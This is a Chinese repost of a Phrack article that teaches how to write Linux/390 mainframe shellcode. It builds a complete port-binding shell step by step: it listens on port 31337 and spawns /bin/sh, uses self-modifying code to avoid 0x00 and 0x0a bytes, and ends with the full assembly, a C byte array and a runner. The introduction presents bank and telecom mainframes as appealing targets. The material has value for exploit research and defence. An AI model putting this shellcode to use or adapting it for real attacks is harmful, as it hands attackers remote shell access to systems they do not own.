[转载]Linux/390 shellcode development (Phrack59-0x0d)
信息来源：绿盟==Phrack Inc.==
Volume 0x0b, Issue 0x3b, Phile #0x0d of 0x12
|=----------------=[ Linux/390 shellcode development ]=------------------=|
|=-----------------------------------------------------------------------=|
|=-------=[ johnny cyberpunk <[email]jcyberpunk@thehackerschoice.com[/email]> ]=--------=|
|=-------=[ 整理：e4gle <[email]e4gle@whitecell.org[/email]> from whitecell.org]=--------=|
--[ 目录
1 - 介绍
2 - 正文
2.1 - 寄存器
2.2 - 指令
2.3 - 系统调用
2.4 - 初始代码
2.5 - 避免0x00和0x0a
2.6 - 最终代码
3 - 参考资料
--[ 1 - 介绍
自从IBM发布了linux/390系统之后，关于它的越来越多的资料都可以在互联网上找到。如果
能一个hacker可以找到如何发现一个大型机的漏洞并且可以exploit它，那将是一件非常有
意义的事情。谁会是大型机的主人呢？对,一个大型的计算机中心，证券系统或者银行电信等。
好，在这篇文章中我将讲述如何在linux/390系统之上书写shellcode的方法。最后我会给出
一个shellcode的例子。
--[ 2 - 正文
最晚1998年一个来自Boeblingen/Germany的小型的IBM开发者团队开始将linux移植到大型机
上。一年后在1999年的12月底第一个版本发布叫IBM s/390。现在存在两个版本。
一个是32位的版本，运行linux系统在s/390上，另一个是64位的版本，运行linux在zSeries上。
支持distros和Suse，redhat和turbolinux。linux for s/390是基于内核版本2.2的，zSeries
是基于内核2.4的。有两种不同的运行linux的方法：
Native - 整个系统运行linux，没有其他操作系统
LPAR - 逻辑分区): 硬盘可以划分逻辑分区，例如，一块逻辑分区可以是一个VM/VSE环境
，另一块逻辑分区是linux。
VM/ESA Guest - 表示一个用户还可以在虚拟机上运行一个linux系统
二进制格式仍是ELF格式
----[ 2.1 - 寄存器
编写我们的shellcode我们没有必要知道s/390或zSeries的所有寄存器。我们最感兴趣的寄存器
是%r0-%r15。这里我还是在这里列出其他的寄存器，大概介绍一下，给大家有个直观的认识。
通用寄存器 :
%r0-%r15 或 gpr0-gpr15 被用来寻址操作和计算操作
控制寄存器 :
cr0-cr15仅被用作内核对irq的控制，内存管理，调试控制等等
地址寄存器 :
ar0-ar15通常不用于程序，但通常用于临时存储
浮点寄存器 :
fp0-fp15 有IEEE和HFP两种浮点类型( Linux只使用IEEE )
PSW ( 程序状态字 ) :
这是一个非常重要的寄存器，它充当了一个程序计数器，内存空间指示器和
条件码寄存器的角色。如果大家需要了解这些寄存器的详细信息，可以在文章
结尾部分的参考资料中得到帮助。
----[ 2.2 - 指令
下面我会介绍给大家一些开发我们的shellcode时需要用到的指令格式及语法。
指令 实例
---------------------------------------------------------------------------
basr (branch and save) %r1,0 # 保存0到寄存器%r1中
lhi (load h/word immediate) lhi %r4,2 # 加载2到寄存器%r4中
la (load address) la %r3,120(%r15) # 把%r15+120这个地址加载到寄存器%r3中
lr (load register) lr %r4,%r9 # 将寄存器%r9中的值加载到寄存器%r4中
stc (store character) stc %r6,120(%r15) # 从寄存器%r6存储一个字符到%r15+120中
sth (store halfword) sth %r3,122(%r15) # 从寄存器%r3存储两个字节到%r15+122中
ar (add) ar %r6,%r10 # 将两值相加存储到寄存器%r6中
xr (exclusive or) xr %r2,%r2 # 0x00 trick :)
svc (service call) svc 1 # 退出
----[ 2.3 - 系统调用
在s/390或zSeries的linux机器上系统调用是通过以0x0a为操作码调用SVC指令来实现。
这对我们的shellcoder来说并不是很有利，0x0a在大多数服务中是一个特殊字符。
但是在我开始试验我们如何避开这个使用这个调用的方法之前，让我们来看一下我们
的OS试如何使用系统调用的。
系统调用的首4个参数定义在寄存器%r2-%r5中，结果代码（resultcode）可以在
SVC调用之后在%r2中找到。
Example of an execve call:
下面是一个execve调用的例子：
basr %r1,0
base:
la %r2,exec-base(%r1)
la %r3,arg-base(%r1)
la %r4,tonull-base(%r1)
svc 11 ;e4gle add,估计这里的11就是11号系统调用execve
exec:
.string "/bin//sh"
arg:
.long exec
tonull:
.long 0x0
再举一个特殊的例子SVC调用102号系统调用（SYS_SOCKET）。首先我们必须在寄存器
%r2中填上相应的函数（socket,bind,listen,accept,等等），寄存器%r3指向该函数所需
参数的列表。每个列表中参数都是u_long的类型。
/*e4gle add
我个人认为这里地SYS_SOCKET系统调用之所以特殊，也是和普通linux的系统调用sys_socket
一样，它是一个函数组的借口，所以要指定相应的函数，看来还是大同小异：）
*/
来看看socket()调用的例子：
lhi %r2,2 # domain
lhi %r3,1 # type
xr %r4,%r4 # protocol
stm %r2,%r4,128(%r15) # 存储%r2 - %r4
lhi %r2,1 # 相应函数socket()
la %r3,128(%r15) # 指向API值
svc 102 # 调用102号系统调用SYS_SOCKET
lr %r7,%r2 # 保存文件描述符到寄存器%r7（就是socket句柄）
----[ 2.4 - 初始的shellcode代码
好，这里有一个简单的绑定shell到一个端口的shellcode初始代码：
.globl _start
_start:
basr %r1,0 # 我们的基地址
base:
lhi %r2,2 # AF_INET
sth %r2,120(%r15)
lhi %r3,31337 # 绑定的端口号
sth %r3,122(%r15)
xr %r4,%r4 # INADDR_ANY
st %r4,124(%r15) # 120-127是struct sockaddr *
lhi %r3,1 # SOCK_STREAM
stm %r2,%r4,128(%r15) # 存储寄存器%r2-%r4, 我们的API值
lhi %r2,1 # SOCKET_socket
la %r3,128(%r15) # 指向API 值
svc 102 # SOCKETCALL
lr %r7,%r2 # 保存socket句柄到寄存器%r7中
la %r3,120(%r15) # 指向struct sockaddr *
lhi %r9,16 # 保存16到寄存器%r9中
lr %r4,%r9 # sizeof address
stm %r2,%r4,128(%r15) # 保存寄存器%r2-%r4, 我们的API值
lhi %r2,2 # SOCKET_bind
la %r3,128(%r15) # 指向API值
svc 102 # 调用socket()
lr %r2,%r7 # 获取保存的socket句柄
lhi %r3,1 # MAXNUMBER
stm %r2,%r3,128(%r15) #保存寄存器%r2-%r3, 我们的API值
lhi %r2,4 # SOCKET_listen
la %r3,128(%r15) # 指向API值
svc 102 # 调用socket()
lr %r2,%r7 # 获取保存的socket句柄
la %r3,120(%r15) # 指向struct sockaddr *
stm %r2,%r3,128(%r15) # 保存寄存器%r2-%r3, 我们的API值
st %r9,136(%r15) # %r9 = 16, this case: fromlen
lhi %r2,5 # SOCKET_accept
la %r3,128(%r15) # 指向API值
svc 102 # 调用socket()
xr %r3,%r3 # the following shit
svc 63 # 复制stdin,stdout（dup2调用）
ahi %r3,1 # stderr
svc 63 # DUP2
ahi %r3,1
svc 63
la %r2,exec-base(%r1) # 指向/bin/sh
la %r3,arg-base(%r1) # 指向/bin/sh的地址
la %r4,tonull-base(%r1) # 指向envp的值
svc 11 # 调用execve
slr %r2,%r2
svc 1 # 调用exit
exec:
.string "/bin//sh"
arg:
.long exec
tonull:
.long 0x0
/*e4gle add
其实就是以上面的框架依次调用bind,listen,accept等socket函数，他们的系统调用都是102号调用socket()。
思路还是和我们在普通linux上学习shellcode是一样的
*/
----[ 2.5 - 避开0x00 和 0x0a
要得到一个顺利工作的shellcode我们就必须避免两件事情。首先要避免0x00，第二
要避免0x0a。
这里是我们第一个例子
a7 28 00 02 lhi %r2,02
以下是我的解决方法，可以达到同样的效果：
a7 a8 fb b4 lhi %r10,-1100
a7 28 04 4e lhi %r2,1102
1a 2a ar %r2,%r10
我在寄存器%r10中静态定义一个-1100，在加载完1100之后，下一条指令我让
1102-1100，这样给我同样的正确的值。很简单。
下一步我们修改一下svc的操作码：
svc:
.long 0x0b6607fe <---- 等同于指令:svc 66; br %r14
看一下第一个字节，此刻它的值是0x0b。下面代码将其改变成0x0a：
basr %r1,0 # 基地址
la %r9,svc-base(%r1) # 加载svc子程序的地址到寄存器%r9
lhi %r6,1110 # selfmodifing
lhi %r10,-1100 # code is used
ar %r6,%r10 # 1110 - 1100 = \x0a SVC的操作码
stc %r6,svc-base(%r1) # 保存svc的操作码
最后改变后的代码如下：
0a 66 svc 66
07 fe br %r14
/*e4gle add
以上它实际调用的是操作码0x0b6607fe,但实际调用的确是0a6607fe，从而避开了
0a。
*/
分解子程序为SVC 102：
basr %r14,%r9 # branch to subroutine SVC 102
寄存器%r9是子程序的地址，寄存器%r14包含了我们需要跳回的地址。
----[ 2.6 - 最终代码
好，现在看看我们的最终的shellcode代码：
.globl _start
_start:
basr %r1,0 # our base-address
base:
la %r9,svc-base(%r1) # load address of svc subroutine
lhi %r6,1110 # selfmodifing
lhi %r10,-1100 # code is used
ar %r6,%r10 # 1110 - 1100 = \x0a opcode SVC
stc %r6,svc-base(%r1) # store svc opcode
lhi %r2,1102 # portbind code always uses
ar %r2,%r10 # real value-1100 (here AF_INET)
sth %r2,120(%r15)
lhi %r3,31337 # port
sth %r3,122(%r15)
xr %r4,%r4 # INADDR_ANY
st %r4,124(%r15) # 120-127 is struct sockaddr *
lhi %r3,1101 # SOCK_STREAM
ar %r3,%r10
stm %r2,%r4,128(%r15) # store %r2-%r4, our API values
lhi %r2,1101 # SOCKET_socket
ar %r2,%r10
la %r3,128(%r15) # pointer to the API values
basr %r14,%r9 # branch to subroutine SVC 102
lr %r7,%r2 # save socket fd to %r7
la %r3,120(%r15) # pointer to struct sockaddr *
lhi %r8,1116
ar %r8,%r10 # value 16 is stored in %r8
lr %r4,%r8 # size of address
stm %r2,%r4,128(%r15) # store %r2-%r4, our API values
lhi %r2,1102 # SOCKET_bind
ar %r2,%r10
la %r3,128(%r15) # pointer to the API values
basr %r14,%r9 # branch to subroutine SVC 102
lr %r2,%r7 # get saved socket fd
lhi %r3,1101 # MAXNUMBER
ar %r3,%r10
stm %r2,%r3,128(%r15) # store %r2-%r3, our API values
lhi %r2,1104 # SOCKET_listen
ar %r2,%r10
la %r3,128(%r15) # pointer to the API values
basr %r14,%r9 # branch to subroutine SVC 102
lr %r2,%r7 # get saved socket fd
la %r3,120(%r15) # pointer to struct sockaddr *
stm %r2,%r3,128(%r15) # store %r2-%r3, our API values
st %r8,136(%r15) # %r8 = 16, in this case fromlen
lhi %r2,1105 # SOCKET_accept
ar %r2,%r10
la %r3,128(%r15) # pointer to the API values
basr %r14,%r9 # branch to subroutine SVC 102
lhi %r6,1163 # initiate SVC 63 = DUP2
ar %r6,%r10
stc %r6,svc+1-base(%r1) # modify subroutine to SVC 63
lhi %r3,1102 # the following shit
ar %r3,%r10 # duplicates
basr %r14,%r9 # stdin, stdout
ahi %r3,-1 # stderr
basr %r14,%r9 # SVC 63 = DUP2
ahi %r3,-1
basr %r14,%r9
lhi %r6,1111 # initiate SVC 11 = execve
ar %r6,%r10
stc %r6,svc+1-base(%r1) # modify subroutine to SVC 11
la %r2,exec-base(%r1) # point to /bin/sh
st %r2,exec+8-base(%r1) # save address to /bin/sh
la %r3,exec+8-base(%r1) # points to address of /bin/sh
xr %r4,%r4 # 0x00 is envp
stc %r4,exec+7-base(%r1) # fix last byte /bin/sh\\ to 0x00
st %r4,exec+12-base(%r1) # store 0x00 value for envp
la %r4,exec+12-base(%r1) # point to envp value
basr %r14,%r9 # branch to subroutine SVC 11
svc:
.long 0x0b6607fe # our subroutine SVC n + br %r14
exec:
.string "/bin/sh\\"
c代码 :
char shellcode[]=
"\x0d\x10" /* basr %r1,%r0 */
"\x41\x90\x10\xd4" /* la %r9,212(%r1) */
"\xa7\x68\x04\x56" /* lhi %r6,1110 */
"\xa7\xa8\xfb\xb4" /* lhi %r10,-1100 */
"\x1a\x6a" /* ar %r6,%r10 */
"\x42\x60\x10\xd4" /* stc %r6,212(%r1) */
"\xa7\x28\x04\x4e" /* lhi %r2,1102 */
"\x1a\x2a" /* ar %r2,%r10 */
"\x40\x20\xf0\x78" /* sth %r2,120(%r15) */
"\xa7\x38\x7a\x69" /* lhi %r3,31337 */
"\x40\x30\xf0\x7a" /* sth %r3,122(%r15) */
"\x17\x44" /* xr %r4,%r4 */
"\x50\x40\xf0\x7c" /* st %r4,124(%r15) */
"\xa7\x38\x04\x4d" /* lhi %r3,1101 */
"\x1a\x3a" /* ar %r3,%r10 */
"\x90\x24\xf0\x80" /* stm %r2,%r4,128(%r15) */
"\xa7\x28\x04\x4d" /* lhi %r2,1101 */
"\x1a\x2a" /* ar %r2,%r10 */
"\x41\x30\xf0\x80" /* la %r3,128(%r15) */
"\x0d\xe9" /* basr %r14,%r9 */
"\x18\x72" /* lr %r7,%r2 */
"\x41\x30\xf0\x78" /* la %r3,120(%r15) */
"\xa7\x88\x04\x5c" /* lhi %r8,1116 */
"\x1a\x8a" /* ar %r8,%r10 */
"\x18\x48" /* lr %r4,%r8 */
"\x90\x24\xf0\x80" /* stm %r2,%r4,128(%r15) */
"\xa7\x28\x04\x4e" /* lhi %r2,1102 */
"\x1a\x2a" /* ar %r2,%r10 */
"\x41\x30\xf0\x80" /* la %r3,128(%r15) */
"\x0d\xe9" /* basr %r14,%r9 */
"\x18\x27" /* lr %r2,%r7 */
"\xa7\x38\x04\x4d" /* lhi %r3,1101 */
"\x1a\x3a" /* ar %r3,%r10 */
"\x90\x23\xf0\x80" /* stm %r2,%r3,128(%r15) */
"\xa7\x28\x04\x50" /* lhi %r2,1104 */
"\x1a\x2a" /* ar %r2,%r10 */
"\x41\x30\xf0\x80" /* la %r3,128(%r15) */
"\x0d\xe9" /* basr %r14,%r9 */
"\x18\x27" /* lr %r2,%r7 */
"\x41\x30\xf0\x78" /* la %r3,120(%r15) */
"\x90\x23\xf0\x80" /* stm %r2,%r3,128(%r15) */
"\x50\x80\xf0\x88" /* st %r8,136(%r15) */
"\xa7\x28\x04\x51" /* lhi %r2,1105 */
"\x1a\x2a" /* ar %r2,%r10 */
"\x41\x30\xf0\x80" /* la %r3,128(%r15) */
"\x0d\xe9" /* basr %r14,%r9 */
"\xa7\x68\x04\x8b" /* lhi %r6,1163 */
"\x1a\x6a" /* ar %r6,%r10 */
"\x42\x60\x10\xd5" /* stc %r6,213(%r1) */
"\xa7\x38\x04\x4e" /* lhi %r3,1102 */
"\x1a\x3a" /* ar %r3,%r10 */
"\x0d\xe9" /* basr %r14,%r9 */
"\xa7\x3a\xff\xff" /* ahi %r3,-1 */
"\x0d\xe9" /* basr %r14,%r9 */
"\xa7\x3a\xff\xff" /* ahi %r3,-1 */
"\x0d\xe9" /* basr %r14,%r9 */
"\xa7\x68\x04\x57" /* lhi %r6,1111 */
"\x1a\x6a" /* ar %r6,%r10 */
"\x42\x60\x10\xd5" /* stc %r6,213(%r1) */
"\x41\x20\x10\xd8" /* la %r2,216(%r1) */
"\x50\x20\x10\xe0" /* st %r2,224(%r1) */
"\x41\x30\x10\xe0" /* la %r3,224(%r1) */
"\x17\x44" /* xr %r4,%r4 */
"\x42\x40\x10\xdf" /* stc %r4,223(%r1) */
"\x50\x40\x10\xe4" /* st %r4,228(%r1) */
"\x41\x40\x10\xe4" /* la %r4,228(%r1) */
"\x0d\xe9" /* basr %r14,%r9 */
"\x0b\x66" /* svc 102 <--- after modification */
"\x07\xfe" /* br %r14 */
"\x2f\x62\x69\x6e" /* /bin */
"\x2f\x73\x68\x5c"; /* /sh\ */
main()
{
void (*z)()=(void*)shellcode;
z();
}
/*e4gle add
后面避免0x00,0x0a部分我大概能理解，但无法在文章上表达出来，因为缺少这个系统的经验，所以自己也没
完全吃透，如果有高手可以测试并给我指出我非常感谢！
*/
--[ 3 - 参考资料:
[1] z/Architecture Principles of Operation (SA22-7832-00)
[url]http://publibz.boulder.ibm.com/epubs/pdf/dz9zr000.pdf[/url]
[2] Linux for S/390 ( SG24-4987-00 )
[url]http://www.redbooks.ibm.com/pubs/pdfs/redbooks/sg244987.pdf[/url]
[3] LINUX for S/390 ELF Application Binary Interface Supplement
[url]http://oss.software.ibm.com/linux390/docu/l390abi0.pdf[/url]
[4] Example exploits
[url]http://www.thehackerschoice.com/misc/sploits/[/url]
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